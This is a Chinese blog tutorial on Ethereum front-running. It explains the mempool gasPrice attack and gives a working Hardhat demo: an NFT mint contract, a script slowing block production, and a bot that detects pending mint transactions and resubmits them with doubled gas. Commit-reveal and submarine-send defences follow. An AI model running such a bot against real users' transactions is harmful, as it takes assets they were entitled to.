合约安全:抢先提交(Front Running)

一、漏洞

与大多数区块链一样,以太坊节点汇集交易并将其打包成块。一旦矿工获得了共识机制(目前以太坊上实行的是 ETHASH 工作量证明算法)的一个解,这些交易就被认为是有效的。挖出该区块的矿工同时也选择将交易池中的哪些交易包含在该区块中,一般来说是根据交易的 gasPrice 来排序。在这里有一个潜在的攻击媒介。攻击者可以监测交易池,看看其中是否存在问题的解决方案(如下合约所示)、修改或撤销攻击者的权限、或更改合约中状态的交易;这些交易对攻击者来说都是阻碍。然后攻击者可以从该中获取数据,并创建一个 gasPrice 更高的交易,(让自己的交易)抢在原始交易之前被打包到一个区块中。

让我们看看这可以如何用一个简单的例子。考虑合约 FindThisHash.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract FindThisHash {
    bytes32 constant public hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;
    
    constructor() payable {} // load with ether
    
    function solve(string calldata solution) public {
        // If you can find the pre image of the hash, receive 1000 ether
        require(hash == keccak256(abi.encodePacked(solution)), "Answer is wrong"); 
        payable(msg.sender).transfer(10 ether);
    }
}

想象一下,这个合约包含 10 个 Ether。可以找到 keccak256 哈希值为 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2的原象(Pre-image)的用户可以提交解决方案,然后取得 10 Ether。让我们假设,一个用户找到了答案 Ethereum 。他们可以调用 solve() 并将 Ethereum 作为参数。不幸的是,攻击者非常聪明,他监测交易池看看有没有人提交解决方案。他们看到这个解决方案,检查它的有效性,然后提交一个 gasPrice 远高于原始交易的相同交易。挖出当前块的矿工可能会因更高的 gasPrice 而偏爱攻击者发出的交易,并在打包原始交易之前接受他们的交易。攻击者将获得10 Ether,解决问题的用户将不会得到任何东西(因为合约中没有剩余的 Ether)。

未来 Casper 实现的设计中会出现更现实的问题。Casper 权益证明合约涉及罚没条件,在这些条件下,注意到验证者双重投票或行为不当的用户被激励提交验证者已经这样做的证据。验证者将受到惩罚、用户会得到奖励。在这种情况下,可以预期,矿工和用户会抢先提交(Front-run)所有这样的证据(以获得奖励),这个问题必须在最终发布之前解决。

二、抢先提交的代码实现

其实抢先提交的步骤很简单:

  • 1.监听mempool
  • 2.提交transaction data

我们用hardhat做演示。

首先我们写了一个mint NFT的合约,因为很多时候,在mint一些比较有价值的NFT时,科学家们会采用抢先交易,这样不会代码的朋友就抢不过别人了。合约代码很简单:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// Uncomment this line to use console.log
import "hardhat/console.sol";

contract Test is ERC721 {
    constructor(
        string memory _name,
        string memory _symbol
    ) ERC721(_name, _symbol) {}

    function mint(uint256 tokenId) external {
        _mint(msg.sender, tokenId);
    }
}

这个合约用户可以mint。

我们将这个合约发布在hardhat的node网络里,在这个EVM环境里,出块速度很快,由于网络太快那抢先提交就很难,所以我们写个脚本手动放慢EVM:

import { ethers } from "hardhat";

async function main() {
    const provider = ethers.getDefaultProvider("http://localhost:8545");

    await (provider as any).send("evm_setAutomine", [false]);
    await (provider as any).send("evm_setIntervalMining", [10000]);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

我们不让EVM自动出块,而且出块间隔为10秒钟。

我们先模拟一个不会代码的普通用户辛苦抢NFT(tokenID为25)的过程:

task("test-transaction", "This task is broken")
    .setAction(async () => {
        const tokenId = 25;
        const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
        const test = await ethers.getContractAt('Test', contractAddress);

        try {
            const tx = await test.mint(tokenId);
            await tx.wait();
        } catch (e) {
            console.error(e);
        } finally {
            const owner = await test.ownerOf(tokenId);
            console.log(`owner of ${tokenId}: ${owner}`);
        }
    });

科学家写了下面的脚本:

import { ethers } from "hardhat";

const ContractAbiFile = require("../artifacts/contracts/Test.sol/Test.json");

/*
Account #1: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 (10000 ETH)
Private Key: 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d
*/
async function listen() {
    const iface = new ethers.utils.Interface(ContractAbiFile.abi);
    const privateKey = "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
    const provider = ethers.getDefaultProvider("http://localhost:8545");
    const myWallet = new ethers.Wallet(privateKey, provider);

    // await (provider as any).send("evm_setIntervalMining", [10000]);
    provider.on("pending", async (tx) => {
        console.log("tx detected: ", tx);
        if (tx.data.indexOf(iface.getSighash("mint")) >= 0 && tx.from !== myWallet.address) {
            // const parsedTx = iface.parseTransaction(tx);
            // console.log("tx parsed: ", parsedTx);

            const frontRunTx = {
                to: tx.to,
                value: tx.value,
                gasPrice: tx.gasPrice.mul(2),
                gasLimit: tx.gasLimit.mul(2),
                data: tx.data
            };
            const tmpTx = await myWallet.sendTransaction(frontRunTx);
            console.log("Front Tx=", tmpTx);
            await tmpTx.wait();
        }
    })
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
listen().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

在这个脚本里,科学家监测了mempool,发现有新的tx进来,一旦发现data中有函数签名mint,那就选定了目标,新建一个交易,这个交易中其他数据都和监控的交易一样,唯一的区别就是提高了gasPricegasLimit,然后使用sendTransaction发送交易。

最后上一个普通用户执行完后,发现自己的transaction failed了。而且最后输出了tokenID为25的这个NFT的owner,发现已经是科学家的地址了:
科学家抢先交易

这个例子中,明明是普通用户先行mint,结果科学家却抢先交易成功了。

三、预防手段

1.使用 commit-reveal 机制

这种方案规定用户使用隐藏信息(通常是哈希值)发送交易。在交易已包含在块中后,用户将发送一个交易来显示已发送的数据(reveal 阶段)。这种方法可以防止矿工和用户从事抢先交易,因为他们无法确定交易的内容。然而,这种方法不能隐藏交易价值(在某些情况下,这是需要隐藏的有价值的信息)。ENS 智能合约允许用户发送交易,其承诺数据包括他们愿意花费的金额。用户可以发送任意值的交易。在披露阶段,用户可以取出交易中发送的金额与他们愿意花费的金额之间的差额。

2.使用 submarine send

有关submarine send的详细介绍原网页:https://libsubmarine.org/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,456评论 5 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,370评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,337评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,583评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,596评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,572评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,936评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,595评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,850评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,601评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,685评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,371评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,951评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,934评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,167评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,636评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,411评论 2 342

推荐阅读更多精彩内容